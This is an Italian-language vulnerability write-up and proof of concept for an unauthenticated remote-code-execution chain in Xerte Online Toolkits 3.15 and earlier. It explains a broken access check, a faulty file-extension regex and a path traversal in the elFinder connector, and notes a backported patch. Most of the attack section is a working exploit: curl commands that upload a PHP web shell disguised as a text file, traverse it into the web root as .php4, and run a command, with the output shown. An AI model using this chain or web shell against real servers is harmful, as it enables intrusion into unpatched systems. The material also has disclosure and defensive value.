
Exploit non autenticato di Xerte Online Toolkits. Richiede di conoscere un nome utente valido.
Le versioni 3.15 e precedenti di Xerte Online Toolkits presentano 3 vulnerabilità nel componente /editor/elfinder/php/connector.php, che possono essere concatenate da un attaccante non autenticato per ottenere l'esecuzione di codice in remoto (RCE).
Xerte Online Toolkits <= 3.15
Una patch backportata è stata applicata alle versioni 3.15, 3.14 e 3.13
Gli utenti non autenticati possono inviare richieste al componente connector all'indirizzo /editor/elfinder/php/connector.php
Il seguente codice viene utilizzato come controllo degli accessi.
File: /editor/elfinder/php/connector.php Numero di riga: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
Questo reindirizza gli utenti non autenticati impedendo loro di ricevere la risposta alle richieste non autenticate; tuttavia, non termina la sessione e il codice successivo viene comunque eseguito.
*Richiede che l'attaccante conosca il nome del file che intende spostare
Gli attaccanti possono manipolare il parametro "name" in una richiesta di "rename" all'endpoint connector.php. Ciò consente agli attaccanti di utilizzare una directory esistente per spostare file al di fuori della directory media degli utenti.
A causa di un errore nella regex del filtro delle estensioni dei file in connector.php, gli attaccanti possono concatenare una vulnerabilità di path traversal presente nelle stesse versioni di Xerte per spostare un file con codice PHP dannoso nella root dell'applicazione con estensione .php4.
File: /editor/elfinder/php/connector.php Numero di riga: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
La regex php* corrisponde solo al carattere precedente. Pertanto corrisponderà a "ph", "php", "phppp", ecc...
Se l'autenticazione è abilitata (che non è la configurazione predefinita di Xerte), l'attaccante deve conoscere (o indovinare tramite forza bruta) il nome utente di un utente valido. Se viene utilizzata l'autenticazione Guest (quella predefinita), la directory del progetto target sarebbe semplicemente 1--Nottingham.
Un attaccante non autenticato può creare una directory "example_dir" e caricare un file "file.txt" con codice PHP dannoso in qualsiasi directory di progetto sotto USER-FILES/
Può quindi utilizzare le vulnerabilità di Path Traversal Relativo e di Elenco Incompleto di Input Non Consentiti presenti in Xerte per effettuare un path traversal modificando il nome del file caricato in "example_dir/../../../../file.php4", spostando file.txt nella root dell'applicazione come "file.php4", conferendo all'attaccante l'esecuzione di codice in remoto.
curl 'http://localhost/xt/setup'
Parametri della richiesta: uploadDir: Root dell'applicazione + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL della directory del progetto cmd: mkdir name: Il nome della nuova directory target: L'id elfinder della directory media/. Poiché questa è la root di elfinder, sarà sempre "l1_Lw"
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*Il tag
nel payload impedisce al filtro dei tipi MIME di elfinder di rilevare il codice PHP.
Parametri della richiesta: uploadDir: Root dell'applicazione + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL della directory del progetto cmd: upload target: L'id elfinder della directory media/. Poiché questa è la root di elfinder, sarà sempre "l1_Lw" upload[]: Il file da caricare.
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
Assicurati di rimuovere il padding, in questo caso è solo "="
Aggiungi l'identificatore del volume. Sarà sempre "l1" (come in "/")
Risultato: l1_ZmlsZS50eHQ
Parametri della richiesta:
uploadDir: Root dell'applicazione + USER-FILES/{project id}-{user}-Nottingham/
uploadURL: URL della directory del progetto
cmd: rename
name: Il nome della directory, la sequenza di path traversal e il nuovo nome del file con estensione .php4
target: L'id elfinder che abbiamo generato dal nuovo file l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
Parametri della richiesta: cmd: Il comando da eseguire
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)